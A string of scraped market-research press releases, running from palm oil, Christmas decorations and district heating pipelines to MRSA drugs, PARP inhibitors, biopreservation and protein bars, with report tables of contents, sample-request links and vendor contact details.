3.9% during the forecast period 2017-2022. The report focuses on the palm oil market performance in the food and beverage sector which captures the major share among other end users such as biofuel and pharmaceutical. Demand for palm oil in the global food and beverage sector is expected to report over US$ 33 billion revenue generation by 2022 end.Development of Sustainable Palm Supply Chain Becomes a Linchpin for Palm Oil Market StakeholdersAs the palm oil is the most widely used vegetable oil used, irresponsible practices of cultivation and processing have hampered environmental integrity in the past. To offset the damage caused and maintain future sustainability in production, palm oil stakeholders are engaged in establishing transparent and sustainable supply chain in the palm oil industry.In addition, innovative ways are being adopted by stakeholders in the palm oil market to ensure sustainable palm oil production. For instance, Nestle has recently announced the implementation of Starling, a satellite-based service to monitor the companys global supply chain with 100% efficiency, thereby ensuring 2020 No Deforestation commitment and sustainable palm oil supply chain. BASF, the largest manufacturer of palm kernel oil has recently revealed its plans to make available its palm oil based product portfolio and personal care specialities as certified sustainable. Unilever recently disclosed its complete palm oil supply chain including source to suppliers and has become the first consumer goods company to reveal complete transparency of the palm oil supply chain.Amidst Sustainability Challenges, Palm Oil is Here to Stay in the Food Service IndustryPalm oil with its largest share in the global vegetable oils market has become a vital ingredient in the foodservice sector. Although the total amount of palm oil used remains untraceable till date owing to the labelling of palm oil under vegetable oil category, demand for palm oil in the food industry owing to its high saturated fatty acid content remains indispensable. Despite the presence of palm oil alternatives, easy accessibility and affordable cost of palm oil make it the most preferable choice in the foodservice industry. However, growing demand for transparency in food labelling and ongoing efforts to establish a traceable and sustainable palm supply chain is anticipated to add complexity for foodservice manufacturers operating in the palm oil marketplace.View Full Report with Table of Content @Growing Preference for Substitute Products to Influence Crude Palm Oil PricesWhile palm oil dominates the vegetable oils market due to its intrinsic property of higher saturated fatty acid content, soybean, rapeseed, sunflower and other oils can be used as substitutes for palm oil. Although these liquid oil substitutes lack the solid fats similar to palm oil, hydrogenation of liquid oil can deliver consistency like solid fats of palm oil. Soybean and rapeseed oils that are partially or completely hydrogenated can provide consistency similar to palm oil and are considered close palm oil substitutes. In particular, affordable prices of soybean oil is becoming the close competitor of the palm oil market which is currently affected by sustainability factor.Demand from Biofuel Sector to Prominently Impact Palm Oil PricesAs an affordable feedstock, palm oil dominates the biofuel sector, however, questions continue to arise regarding the greenness of biofuels over fossil fuels. Particularly in the case of palm oil, irresponsible farming practices have created sustainability issues. Across the global palm oil supply chain, stringent policies have significantly impacted the palm production. Recently, EU has revealed phase-out of palm oil from the transport fuel from 2021 with the intention to control irresponsible palm production practices. These factors combined with the volatility in the Brent crude prices are expected to influence the palm oil prices in the near future.Competitive LandscapeThe competitive landscape section delivers a dashboard view of the key market players in the palm oil market. In addition, users of the report can get an insightful section to read about company profiles and their relative position in the global market landscape. Few of the key market players profiled in the palm oil market report include American Vegetable Oils, Cargill Inc., Grief Inc., Fuji Oil Holdings, Bunge Limited, Associated British Foods and Ruchi Soya Industries.The palm oil market is marked by key players engaged in adopting novel ways to increase sustainability of supply chain and expansion of palm oil production. For instance, Fuji Oil Holdings Group from Japan has partnered with a Malaysian palm oil producer United Plantation to deliver palm oil products that are complied with international standards. Bunge International, a leader in the palm oil market has recently acquired 70% of stake in IOI Loader Croklaan that provides palm oil products. Croklaan has joined Bunges Food & Ingredients division as Bunge Loader Croklaan. Godrej Agrovet is planning to acquire Ruchi Soya Industries and is keen to receive benefits from the Ruchi Soyas oil palm plantation business.Table of Content:Global Palm Oil Market - Executive SummaryGlobal Palm Oil Market Overview2.1. Introduction2.1.1. Global Palm Oil Market Taxonomy2.1.2. Global Palm Oil Market Definition2.2. Global Palm Oil Market Size (US$ Mn) and Forecast, 2012-20222.2.1. Global Palm Oil Market Y-o-Y Growth2.3. Global Palm Oil Market Dynamics2.3.1. Drivers2.3.2. Restraints2.3.3. Trends2.4. Supply Chain2.5. Cost Structure2.6. Pricing Analysis2.7. Raw Material Sourcing Strategy and Analysis2.8. List of Distributors2.9. Key Participants Market Presence (Intensity Map) By RegionGlobal Palm Oil Market Analysis and Forecast By Product Type3.1. Global Palm Oil Market Size and Forecast By Product Type, 2012-20223.1.1. Processed Palm Oil Market Size and Forecast, 2012-20223.1.1.1. Revenue (US$ Mn) Comparison, By Region3.1.1.2. Market Share Comparison, By Region3.1.1.3. Y-o-Y growth Comparison, By Region3.1.2. Virgin Palm Oil Market Size and Forecast, 2012-20223.1.2.1. Revenue (US$ Mn) Comparison, By Region3.1.2.2. Market Share Comparison, By Region3.1.2.3. Y-o-Y growth Comparison, By RegionGlobal Palm Oil Market Analysis and Forecast By End User4.1. Global Palm Oil Market Size and Forecast By End User, 2012-20224.1.1. Foodservice Palm Oil Market Size and Forecast, 2012-20224.1.1.1. Revenue (US$ Mn) Comparison, By Region4.1.1.2. Market Share Comparison, By RegionContinued..Palm Oil Market Report is available for Purchase @About FactMRFactMR is a fast-growing market research firm that offers the most comprehensive suite of syndicated and customized market insights reports. We believe transformative intelligence can educate and inspire businesses to make smarter decisions. We know the limitations of the one-size-fits-all approach; that's why we publish multi-industry global, regional, and country-specific research reports.Contact UsFactMR11140 Rockville PikeSuite 400Rockville, MD 20852United StatesEmail: sales@factmr.comWeb:Read Industry News at- Christmas Decoration 2018 Global Key Players Amscan, Barcana, Tree Classics, Roman, Hilltop, Crab Pot Trees, Crystal Valley, Balsam Hill Market Analysis And Forecast To 2023 Christmas Decoration Market 2018 https://www.wiseguyreports.com/sample-request/2483384-global-christmas-decoration-industry-market-research-report https://www.wiseguyreports.com/enquiry/2483384-global-christmas-decoration-industry-market-research-report Christmas Decoration Market 2018Wiseguyreports.Com Adds Christmas Decoration -Market Demand, Growth, Opportunities, Analysis of Top Key Players and Forecast to 2023 To Its Research Database.Description:Based on the Christmas Decoration industrial chain, this report mainly elaborate the definition, types, applications and major players of Christmas Decoration market in details. Deep analysis about market status (2012-2017), enterprise competition pattern, advantages and disadvantages of enterprise Products, industry development trends (2017-2022), regional industrial layout characteristics and macroeconomic policies, industrial policy has also be included. From raw materials to downstream buyers of this industry will be analyzed scientifically, the feature of product circulation and sales channel will be presented as well. In a word, this report will help you to establish a panorama of industrial development and characteristics of the Christmas Decoration market.The Christmas Decoration market can be split based on product types, major applications, and important regions.Major Players in Christmas Decoration market are:AmscanBarcanaTree ClassicsRomanHilltopCrystal ValleyCrab Pot TreesBalsam HillRequest for Sample Report@Major Regions play vital role in Christmas Decoration market are:North AmericaEuropeChinaJapanMiddle East & AfricaIndiaSouth AmericaOthersMost important types of Christmas Decoration products covered in this report are:Christmas ornamentsChristmas lightingsChristmas trees (real and artificial)Other accessoriesMost widely used downstream fields of Christmas Decoration market covered in this report are:Commercial decorationResidential decorationEnquiry before Buying @If you have any special requirements, please let us know and we will offer you the report as you want.Table of Contents:Global Christmas Decoration Industry Market Research Report1 Christmas Decoration Introduction and Market Overview1.1 Objectives of the Study1.2 Definition of Christmas Decoration1.3 Christmas Decoration Market Scope and Market Size Estimation1.3.1 Market Concentration Ratio and Market Maturity Analysis1.3.2 Global Christmas Decoration Value ($) and Growth Rate from 2012-20221.4 Market Segmentation1.4.1 Types of Christmas Decoration1.4.2 Applications of Christmas Decoration1.4.3 Research Regions1.4.3.1 North America Christmas Decoration Production Value ($) and Growth Rate (2012-2017)1.4.3.2 Europe Christmas Decoration Production Value ($) and Growth Rate (2012-2017)1.4.3.3 China Christmas Decoration Production Value ($) and Growth Rate (2012-2017)1.4.3.4 Japan Christmas Decoration Production Value ($) and Growth Rate (2012-2017)1.4.3.5 Middle East & Africa Christmas Decoration Production Value ($) and Growth Rate (2012-2017)1.4.3.6 India Christmas Decoration Production Value ($) and Growth Rate (2012-2017)1.4.3.7 South America Christmas Decoration Production Value ($) and Growth Rate (2012-2017)1.5 Market Dynamics1.5.1 Drivers1.5.1.1 Emerging Countries of Christmas Decoration1.5.1.2 Growing Market of Christmas Decoration1.5.2 Limitations1.5.3 Opportunities1.6 Industry News and Policies by Regions1.6.1 Industry News1.6.2 Industry Policies2 Industry Chain Analysis2.1 Upstream Raw Material Suppliers of Christmas Decoration Analysis2.2 Major Players of Christmas Decoration2.2.1 Major Players Manufacturing Base and Market Share of Christmas Decoration in 20162.2.2 Major Players Product Types in 20162.3 Christmas Decoration Manufacturing Cost Structure Analysis2.3.1 Production Process Analysis2.3.2 Manufacturing Cost Structure of Christmas Decoration2.3.3 Raw Material Cost of Christmas Decoration2.3.4 Labor Cost of Christmas Decoration2.4 Market Channel Analysis of Christmas Decoration2.5 Major Downstream Buyers of Christmas Decoration Analysis..8 Competitive Landscape8.1 Competitive Profile8.2 Amscan8.2.1 Company Profiles8.2.2 Christmas Decoration Product Introduction and Market Positioning8.2.2.1 Product Introduction8.2.2.2 Market Positioning and Target Customers8.2.3 Amscan Production, Value ($), Price, Gross Margin 2012-2017E8.2.4 Amscan Market Share of Christmas Decoration Segmented by Region in 20168.3 Barcana8.3.1 Company Profiles8.3.2 Christmas Decoration Product Introduction and Market Positioning8.3.2.1 Product Introduction8.3.2.2 Market Positioning and Target Customers8.3.3 Barcana Production, Value ($), Price, Gross Margin 2012-2017E8.3.4 Barcana Market Share of Christmas Decoration Segmented by Region in 20168.4 Tree Classics8.4.1 Company Profiles8.4.2 Christmas Decoration Product Introduction and Market Positioning8.4.2.1 Product Introduction8.4.2.2 Market Positioning and Target Customers8.4.3 Tree Classics Production, Value ($), Price, Gross Margin 2012-2017E8.4.4 Tree Classics Market Share of Christmas Decoration Segmented by Region in 20168.5 Roman8.5.1 Company Profiles8.5.2 Christmas Decoration Product Introduction and Market Positioning8.5.2.1 Product Introduction8.5.2.2 Market Positioning and Target Customers8.5.3 Roman Production, Value ($), Price, Gross Margin 2012-2017E8.5.4 Roman Market Share of Christmas Decoration Segmented by Region in 20168.6 Hilltop8.6.1 Company Profiles8.6.2 Christmas Decoration Product Introduction and Market Positioning8.6.2.1 Product Introduction8.6.2.2 Market Positioning and Target Customers8.6.3 Hilltop Production, Value ($), Price, Gross Margin 2012-2017E8.6.4 Hilltop Market Share of Christmas Decoration Segmented by Region in 20168.7 Crystal Valley8.7.1 Company Profiles8.7.2 Christmas Decoration Product Introduction and Market Positioning8.7.2.1 Product Introduction8.7.2.2 Market Positioning and Target Customers8.7.3 Crystal Valley Production, Value ($), Price, Gross Margin 2012-2017E8.7.4 Crystal Valley Market Share of Christmas Decoration Segmented by Region in 20168.8 Crab Pot Trees8.8.1 Company Profiles8.8.2 Christmas Decoration Product Introduction and Market Positioning8.8.2.1 Product Introduction8.8.2.2 Market Positioning and Target Customers8.8.3 Crab Pot Trees Production, Value ($), Price, Gross Margin 2012-2017E8.8.4 Crab Pot Trees Market Share of Christmas Decoration Segmented by Region in 20168.9 Balsam Hill8.9.1 Company Profiles8.9.2 Christmas Decoration Product Introduction and Market Positioning8.9.2.1 Product Introduction8.9.2.2 Market Positioning and Target Customers8.9.3 Balsam Hill Production, Value ($), Price, Gross Margin 2012-2017E8.9.4 Balsam Hill Market Share of Christmas Decoration Segmented by Region in 2016Continued..Contact US:NORAH TRENTPartner Relations & Marketing Managersales@wiseguyreports.comPh: +1-646-845-9349 (US)Ph: +44 208 133 9349 (UK)About Us:Wise Guy Reports Is Part Of The Wise Guy Consultants Pvt. Ltd. And Offers Premium Progressive Statistical Surveying, Market Research Reports, Analysis & Forecast Data For Industries And Governments Around The Globe. Wise Guy Reports Features An Exhaustive List Of Market Research Reports From Hundreds Of Publishers Worldwide. We Boast A Database Fitness Bandsnning Virtually Every Market Category And An Even More Comprehensive Collection Of Market Research Reports Under These Categories And Sub-Categories.Addres:: Wise Guy Research Consultants Pvt Ltd: Pune 411028: Maharashtra,: Ph: +91 841 198 5042 District Heating Pipeline Network Market | Key Players - REHAU, Uponor, BRUGG, Logstor, Perma Pipe, CPV Ltd, Microflex, Flender, Thermaflex, Huntsman, Smithline, Aquatherm and Golan Plastic. https://www.marketstudyreport.com/request-a-sample/859976/?utm_source=open&utm_medium=Pravin https://www.marketstudyreport.com/check-for-discount/859976/?utm_source=open&utm_medium=Pravin https://www.marketstudyreport.com/reports/district-heating-pipeline-network-market/?utm_source=open&utm_medium=Pravin https://www.marketstudyreport.com https://www.marketstudyreport.com/blog This District Heating Pipeline Network Market report studies the industry based on one or more segments covering key players, types, applications, products, technology, end-users, and regions for historical data as well as provides forecasts for next few years.District Heating Pipeline Network Market will exceed USD 600 billion by 2024, according to a new research report.Growing concerns pertaining to green house emissions coupled with increasing demand for space heating systems will stimulate the district heating pipeline network market. Extreme climatic conditions across Europe, China and the U.S. will further stimulate the product demand. According to Norwegian Meteorological Institute, the average temperature in Southern Finland during winter season ranges between 00 to -40 Celsius.Request a sample of this premium report at:Eminent players across the district heating pipeline network market include REHAU, Uponor, BRUGG, Logstor, Perma Pipe, CPV Ltd, Microflex, Flender, Thermaflex, Huntsman, Smithline, Aquatherm and Golan Plastic.The U.S. market is set to reach over 5 thousand Km by 2024. Growing district heating systems penetration across residential and commercial establishments along with ongoing adoption of clean energy technologies will foster the industry growth. According to the International District Energy Association (IDEA), out of 601 heating systems installed in the U.S., 289 are district energy-only systems.Ongoing legislative reforms pertaining to sustainable energy technologies along with modernization and expansion of existing heating networks will foster the district heating pipeline network market. Government focus toward energy efficient buildings will further propel the industry growth. The European Union's Renewable Energy Directive has introduced standards toward reduction and limitation of emissions caused by the industrial establishments.Rapid urbanization and industrialization across the developing nations along with favorable government initiatives toward zero emission buildings will drive the global market. As per Knoema in 2016, the people residing in urban areas in Japan constituted 94.3% when compared with 93.9% in 2015.Polymer pipes is set to witness strong growth on account of increasing usage as a service pipe in DH systems. Rapid development of thermoplastic technologies along with ongoing innovations toward pipe material will drive the business growth. Corrosion free, ease of transport and low carbon emissions are some of the prominent features which will stimulate the product penetration.Growing adoption of small scale heating technologies across the residential establishments along with government-backed research and development initiatives toward development of more efficient insulating materials will propel the 20 mm -100 mm diameter pipes. Increasing use as a service pipe as these can be easily transported, rolled, and installed in the constructions will stimulate the product penetration.Request a discount on standard prices of this premium report at:Increasing suburban population owing to rapid urbanization across the evolving economies will stimulate the market from residential applications. Government assisted renewable technology targets coupled with ongoing investments toward real-estate sector will foster the industry outlook. According to World Bank, people residing in urban areas of India accounted for 33.14% in 2016 when compared with 32.37% in 2014 across India.China district heating pipeline network market is predicted to grow owing to increasing suburban population coupled with increasing investments toward residential and commercial establishments across the nation. Ongoing government initiatives toward adoption of energy-efficient systems will further propel the industry outlook. The Government of China with the support of European Union launched EU-China 2020 strategic agenda and China-EU partnership to strengthen the nations urban infrastructure.More Details on this Report:About Us:Marketstudyreport.com allows you to manage and control all corporate research purchases to consolidate billing and vendor management. You can eliminate duplicate purchases and customize your content and license management.Contact Us:Market Study Report LLC4 North Main Street,Selbyville, Delaware 19975USAPhone: 1-302-273-0910US Toll Free: 1-866-764-2150Email: sales@marketstudyreport.comWebsite:Blog: Basilea Pharmaceutica Ltd., The Medicines Company, Theravance Biopharma, Allergan, Merck & Co., Inc., and Pfizer, Inc Are Some Top Key Player in Methicillin-resistant Staphylococcus Aureus (MRSA) Drugs Market Market Research Report Search Engine https://www.mrrse.com/sample/4646 https://www.mrrse.com/mrsa-drugs-market https://www.mrrse.com/enquiry/4646 https://www.mrrse.com/ This report on the Global Methicillin-resistant Staphylococcus Aureus (MRSA) Drugs Market analyzes the current and future scenario of the global market. Rise in private and public funding for R&D of novel anti-MRSA drug molecules, increase in prevalence of MRSA infections, and their improved screening are boosting the growth of the global MRSA drugs market. According to CDC, two in every 100 people carry MRSA. Introduction of generic drugs for the MRSA treatment, and upsurge in the consumption of antibiotics in the developing countries are some of the factors expected to drive the growth of global MRSA drugs market during the forecast period.Free | Request Sample Report Copy, Click here @The MRSA drugs market report comprises an elaborate executive summary, which includes market snapshot that provides information about various segments. It also provides information and data analysis of the global market with respect to the segments based on drug class, route of administration, distribution channel, and geography. A detailed qualitative analysis of drivers and restraints, and opportunities has been provided in the market overview section. Additionally, the report comprises epidemiological assessment of MRSA infection, in terms of causes, complications, current & future treatment options for MRSA, along with its prevalence rate in key countries. The report contains comparative analysis of key companies operating in the global MRSA drugs market, in terms of strategic developments, current and future market positioning, and their key differential parameters, to help understand the competitive landscape in the market. Moreover, the global corporate scenario is provided in the report with major pipeline products of emerging and established pharmaceutical manufacturers, and their respective dosage forms. This report also provides market attractiveness and its analysis in terms of geography and market share analysis by key players, thus presenting a thorough analysis of the overall competitive scenario in the global MRSA drugs market.Global MRSA Drugs Market: Key SegmentsBased on the drug class, the global MRSA drugs market is segmented into lipopeptide, oxazolidinone, cephalosporin, tetracycline, lipoglycopeptide, folate antagonist, and others. Lipopeptide accounted for highest market share in 2016, owing to the diversified distribution of daptomycin (lipopeptide) across the globe by key distributors in 2016. Others drug class is projected to expand at relatively significant CAGR during 2017-2025, which is attributable to the rising incidence of community-acquired MRSA infection. Different types of route of administration in the MRSA drugs market are oral and parenteral. Parenteral segment dominated the market in terms of market share in 2016, and is expected to continue to lead the global market during forecast period. However, oral segment is likely to expand during 2017-2025, due to presence of numerous oral vaccines against MRSA infection in the developmental phase by key companies. Various distribution channels in the global MRSA market are hospital pharmacy, retail pharmacy, and online pharmacy. Hospital pharmacy held maximum market share in 2016, and is expected to remain dominant by 2025 in terms of revenue. However, online pharmacy is likely to expand with maximum CAGR owing to the rising adoption of the population for digital platform. The market size and forecast for each of these segments have been provided for the period from 2015 to 2025, along with their respective CAGRs for the forecast period from 2017 to 2025, considering 2016 as the base year.Browse Full Report with TOC @Global MRSA Drugs Market: Regional OutlookGeographically, the global MRSA drugs has been categorized into five major regions and the key countries in the respective region: North America (U.S. and Canada), Europe (U.K., Germany, France, Spain, Italy, Russia, and Rest of Europe), Asia Pacific (India, China, Japan, Australia & New Zealand, and Rest of Asia Pacific), Latin America (Brazil, Mexico, and Rest of Latin America) and Middle East & Africa (South Africa, GCC Countries, Israel, and Rest of Middle East & Africa). The market size and forecast for each of these regions and the mentioned countries have been provided for the period from 2015 to 2025, along with their respective CAGRs for the forecast period from 2017 to 2025, considering 2016 as the base year. The research study also covers the competitive scenario in these regions.Companies Mentioned in ReportThe report also profiles major players in the global MRSA drugs based on various attributes such as company overview, financial overview, product portfolio, business strategies, SWOT analysis, and recent developments. Major players profiled in this report include Basilea Pharmaceutica Ltd., The Medicines Company, Theravance Biopharma, Allergan, Merck & Co., Inc., and Pfizer, Inc.The Global MRSA drugs Market has been segmented as given below:Global MRSA Drugs Market, by Drug ClassLipopeptideOxazolidinoneTetracyclineCephalosporinLipoglycopeptideFolate AntagonistOthersGlobal MRSA Drugs Market, by Route of AdministrationOralParenteralGlobal MRSA Drugs Market, by Distribution ChannelHospital PharmacyRetail PharmacyOnline PharmacyGlobal MRSA drugs Market, by RegionNorth AmericaS.CanadaEuropeGermanyK.FranceItalySpainRest of EuropeAsia PacificIndiaChinaJapanRest of Asia PacificLatin AmericaBrazilMexicoRest of Latin AmericaMiddle East & AfricaGCC CountriesSouth AfricaIsraelRest of Middle East & AfricaEnquire About this Report @About (MRRSE)Market Research Reports Search Engine (MRRSE) is an industry-leading database of Market Research Reports. MRRSE is driven by a stellar team of research experts and advisors trained to offer objective advice. Our sophisticated search algorithm returns results based on the report title, geographical region, publisher, or other keywords.MRRSE partners exclusively with leading global publishers to provide clients single-point access to top-of-the-line market research. MRRSEs repository is updated every day to keep its clients ahead of the next new trend in market research, be it competitive intelligence, product or service trends or strategic consulting.Contact UsState Tower90, State StreetSuite 700Albany, NY 12207(United State)Telephone: +1-518-730-0559(USA & Canada Toll-Free)Email: sales@mrrse.comWebsite: Global PARP Inhibitors Cancer Therapy Market, Price, Dosage and Clinical Pipeline Outlook 2023 https://www.kuickresearch.com/report-global-parp-inhibitors-cancer-therapy-market,-price,-dosage-and-clinical-pipeline-outlook-2023.php Global PARP Inhibitors Cancer Therapy Market, Price, Dosage and Clinical Pipeline Outlook 2023 report highlights:Current Market Trends and Development ScenarioDrug Availability, Dosage and Treatment ScheduleCommercially Available Drugs Price AnalysisGlobal Cancer PARP Inhibitors Clinical Pipeline Overview: 31 DrugsClinical and Patent Insight on Commercially Available Drugs: 3 DrugsMarket Segmentation by Drug Patent and DealsDownload Report:Conventional therapies like surgery, radiotherapy and chemotherapies are currently the dominant form of cancer treatment globally. However, majority of these methods have several limitations with multiple adverse effects which has led to the emergence of much more innovative approach, collectively known as targeted therapies. Targeted cancer therapy segment currently flourishes with several types of therapeutics among which PARP inhibitors have gained immense popularity due to their superior efficacy to conventional therapeutics.Inhibitors include drugs or substances that block the growth and spread of cancer by interfering with specific molecular targets that are involved in the growth, progression, and spread of cancer. PARP inhibitors are recent entrants in the targeted therapy segment which have gained worldwide popularity as the most common type treatment in certain clinical indications like ovarian cancer and breast cancer.Poly-ADP Ribose Polymerase or PARP are special proteins that play a key role in assisting damaged cells to repair themselves. The initial clinical testing of PARP inhibitors began nearly a decade ago, following the discovery that these agents in vitro had heightened anticancer activity in cancer cells that harbored BRCA mutations compared to BRCA wild-type cancer cells with intact DNA repair.Research proved that fault in either of BRCA 1 and BRCA 2 genes have an increased risk of certain types of cancer such as breast cancer, ovarian cancer and prostate cancer. Cells are less likely to repair themselves if there is a fault in one or both of these genes. Blocking PARP with a PARP inhibitor showed impressive results in preventing the proliferation of cancer cells by interfering with their DNA repair mechanism and killing them, thus resulting in a therapeutic outcome.Currently, there are 3 PARP inhibitors that have been approved for use in patients with suspected or confirmed BRCA-mutated advanced ovarian cancer that has been treated with 3 or more prior lines of chemotherapy. Olaparib (Lynpraza) was the first PARP inhibitor to receive approval in 2014 followed by Rucaparib in 2016 and Niraparib in 2017.Trends show that the cancer therapy market is steadily shifting from conventional therapeutics to modern therapeutics due to their better safety, efficacy and specificity; thus creating an excellent opportunity for promising therapeutics like PARP inhibitors.PARP inhibitors have proved to be a commercial success in the modern cancer therapeutic segment. For instance, Lynpraza(Olaparib), marketed by AstraZeneca reported global sales of over US$ 400 Million in 2017; making it one of the most profitable cancer therapy drugs of the year. Lynpraza sales have more than doubled since its approval which projects an optimistic growth in the future. Olaparib is followed by Niraparib with sales of over US$ 109 Million during first nine months of commercial launch. Rucaparib andndash; the most recent PARP inhibitor to enter the market is estimated to generate revenue of over US$ 40 Million by the end of 2018.The US currently dominates the global PARP inhibitors market leading both in marketing and research followed by Europe. Involvement of regions like South Korea, Japan and Middle East has led to better market penetration and overall better market growth.The demand for PARP inhibitors has grown exponentially with the increasing incidence of cancer. Further, their enhanced efficacy in cancer treatment when combined with conventional therapeutics like chemotherapy and radiation therapy has led to an exponential growth in sales; which is further strengthened by a robust clinical pipeline under development. With several favorable factors paving the path for success, PARP inhibitors could be one of the leading cancer therapeutics of the futureKuicK Research Analysis of the global PARP inhibitors market provides an in-depth analysis of the current market scenario, trends, dynamics and recent advances that might have an impact on the PARP inhibitors market. Key data like pricing of drugs, sales and cost of therapy per patient have been used to draw an accurate analysis of the PARP inhibitors market. Finally, KuicK Research analysis of forecast and projections regarding the future of PARP Inhibitors market indicate an exciting opportunity waiting in this highly profitable segment of cancer therapy.Kuick Research is a market research and analytics company that provides targeted information for critical decisions at business, product and service levels. We are quick, predictive and known by the recommendations we have made in the past. Our result-oriented research methodology offers understanding of multiple issues in a short period of time and gives us the capability to keep you full with loads of practical ideas. By translating research answers into strategic insight and direction, we not only rate the success potential of your products and/or services, but also help you identify the opportunities for growth in new demographies and find ways to beat competition.Neeraj Chawlaneeraj@kuickresearch.comKuicK ResearchNew Delhi 110 001, India+91-11-47067990 Biopreservation Market - Upcoming Scope 2025 | Cesca Therapeutics Inc., Core Dynamics Ltd. www.tmrresearch.com/sample/sample?flag=B&rep_id=1340 www.tmrresearch.com/sample/sample?flag=T&rep_id=1340 www.tmrresearch.com/biopreservation-market Global Biopreservation Market: SnapshotBiopreservation is a process for conserving the tissues, organs and cells along with maintaining their integrity and functionality at different temperatures for a prolonged period of time. The necessary products for biopreservation are cryo bags, tubes, refrigerators, liquid nitrogen tanks, and freezers. These biopreservation equipment have applications in stem cell, DNA, and plasma and tissue research which helps the market to grow steadily. Various researches being carried out in cell therapy and the increasing number of bio banks also encourage market expansion. Currently, the geriatric population is affected with many disorders related to their lifestyle, namely cardiovascular disease, chronic illness, hypertension, and cancer. Biopreservation applications such as drug discovery, regenerative medicines, and bio banking help the consumers or patients during their life span and even at the time of death.Request Sample Copy of the Report @The enormous growth in the global biopreservation market is accelerated by the rising healthcare expenditure, increasing trend of conserving cord blood stem cells of newborns, and the growing investments in research and development pertaining to this field. A considerable healthcare spending is expected to drive the gene banks, bio banks and hospitals to focus on biopreservation. High costs of advanced techniques and stability issues such as tissue injury during thawing and freezing have been considered as some of the primary factors restraining the biopreservation market growth. One of the prominent names in the industry, BioLife Solutions has signed a ten years business supply agreement with Bellicum Pharmaceuticals for manufacturing, marketing of proprietary tissue and cell, and various cellular immunotherapies which target solid tumors and blood cancers. The influential regions for the biopreservation market are North America, Europe and Asia Pacific. Asia Pacific is expected to offer significant growth opportunities to market players, mostly driven by the demand arising from India and China.Global Biopreservation Market: OverviewBiopreservation involves maintaining the functionality and integrity of cells, tissues, and organs outside their natural environment for an extended period of storage at different temperatures. For instance, vaccines save 3 million lives every year in the U.S, however, vaccines worth US$ 20 million are wasted each year due to inadequate storage and improper refrigeration.Biopreservation safeguards the stability, purity, and quality of biospecimens saved in hospitals, biobanks, and gene banks. For instance, preservation of red blood cells (RBCs) is required for the ready availability of safe blood for blood transfusion needs. The biopreservation of RBCs for clinical purposes can be divided on the basis of techniques used to attain biologic stability and safeguard a viable state after extended storage times.Global Biopreservation Market: Key TrendsThe major factors driving the global biopreservation market include increasing R&D expenditure, increasing number of sperm and egg banks, increasing demand for preserving the stem cells of newborns, and rising adoption of regenerative medicine.Across the world, the increasing healthcare expenditure for health and well-being will stimulate the growth of the biopreservation market. This is because healthcare expenditure accounts for a significant part of the developmental budget of most countries. According to data from the World Bank, public healthcare spending is expected to rise at a substantially high rate, which along with a substantial healthcare spending will be an important driver for gene banks, hospitals, and biobanks, which are the key end-users of biopreservation market.Request TOC of the Report @A large population afflicted with chronic disorders such as cardiovascular diseases, diabetes, cancer, and hypertension as well as lifestyle diseases will bolster the markets growth. The increasing public and private spending on, medical goods and services, rising disposable income, increasing demand for biobanking services for the preservation of cells, tissues, and organs, and rising disposable income are also expected to further enhance the growth of the global biopreservation market.Global Biopreservation Market: Market PotentialIn a recent development in the biopreservation industry, BioLife Solutions, a leading name in developing, manufacturing, and marketing of proprietary cell and tissue has entered into a ten year business supply agreement with Bellicum Pharmaceuticals. The latter is a leading name in the development of cellular immunotherapies for cancers and inherited blood disorders. On account of this supply agreement, BioLifes CryoStor cell freeze media is incorporated into Bellicums production process for various cellular immunotherapies that targets blood cancers and solid tumors.In another industry development, BioLife Solutions has entered into a partnership with transportation firm MNX and expects heightened demand for its biologistics services with the entry of more cell therapies into the clinic.Global Biopreservation Market: Regional OutlookThe global biopreservation market can be analyzed with respect to the regional segments of North America, Europe, Asia Pacific, and Rest of the World. In North America, the U.S. accounts for almost half the revenue of the region. This is due to the increasing demand for detection of chronic diseases, government stipulations for the ethical usage of biological samples, and introduction of newer of biopreservation methodologies.Asia Pacific biopreservation market, driven by India and China will display a sustainable growth over the next couple of yearsGlobal Biopreservation Market: Competitive AnalysisSome of the key companies operating in the global Biopreservation market include Thermo Fischer Scientific Inc., VWR Corporation, Lifeline Scientific Inc., BioCision LLC, Custom Biogenic Systems Inc., Princeton Cryotech Inc., Sigma-Aldrich Corporation, Biolife Solutions Inc., Cesca Therapeutics Inc., Core Dynamics Ltd., and So-Low Environmental Equipment Co. Inc.Read Comprehensive Overview of Report @Top companies in the market are focused on mergers and acquisitions, practicing effective services, and develop new products to stay competitive in the biopreservation market. Expanding geographical reach and developing a broad product portfolio with respect to refrigerators, freezers, and consumables is also leading to the increased market share of some of the top players.About TMR ResearchTMR Research is a premier provider of customized market research and consulting services to business entities keen on succeeding in todays supercharged economic climate. Armed with an experienced, dedicated, and dynamic team of analysts, we are redefining the way our clients conduct business by providing them with authoritative and trusted research studies in tune with the latest methodologies and market trends. Our savvy custom-built reports span a gamut of industries such as pharmaceuticals, chemicals and metals, food and beverages, and technology and media, among others. With actionable insights uncovered through in-depth research of the market, we try to bring about game-changing success for our clients.Contact:TMR Research,3739 Balboa St # 1097,San Francisco, CA 94121United StatesTel: +1-415-520-1050Email: sales@tmrresearch.com Global Protein Bar Market Insights, define, segment, distributors, Key-Regions, Leading Players: General Mills, the WhiteWave Foods, Hormel Foods, the Balance Bar, Future and Forecast Until 2025 https://www.marketresearchhub.com/enquiry.php?type=S&repid=1945494 https://www.marketresearchhub.com/report/global-protein-bar-market-insights-forecast-to-2025-report.html Market Research Hub (MRH) has actively included a new research study titled Global Protein Bar Market Insights, Forecast to 2025 to its wide online repository. The concerned market is discoursed based on a variety of market influential factors such as drivers, opportunities and restraints. This study tends to inform the readers about the current as well as future market scenarios extending up to the period until 2025. In addition, a deep analysis of the competitive landscape, including prime market players is also enclosed in this report.To Get Sample Copy of Report @This report studies the global market size of Protein Bar in key regions like North America, Europe, Asia Pacific, Central & South America and Middle East & Africa, focuses on the consumption of Protein Bar in these regions.This research report categorizes the global Protein Bar market by players/brands, region, type and application. This report also studies the global market status, competition landscape, market share, growth rate, future trends, market drivers, opportunities and challenges, sales channels, distributors and Porter's Five Forces Analysis.In 2017, the global Protein Bar market size was million US$ and is forecast to million US in 2025, growing at a CAGR of from 2018. The objectives of this study are to define, segment, and project the size of the Protein Bar market based on company, product type, application and key regions.The various contributors involved in the value chain of Protein Bar include manufacturers, suppliers, distributors, intermediaries, and customers. The key manufacturers in the Protein Bar includeThe Kellogg CompanyGeneral MillsMARSAbbott NutritionThe WhiteWave FoodsSmall Planet FoodsPremier NutritionAtkins NutritionalsHormel FoodsNuGo NutritionThe Balance BarActive NutritionUniversal NutritionVital PharmaceuticalsNature's 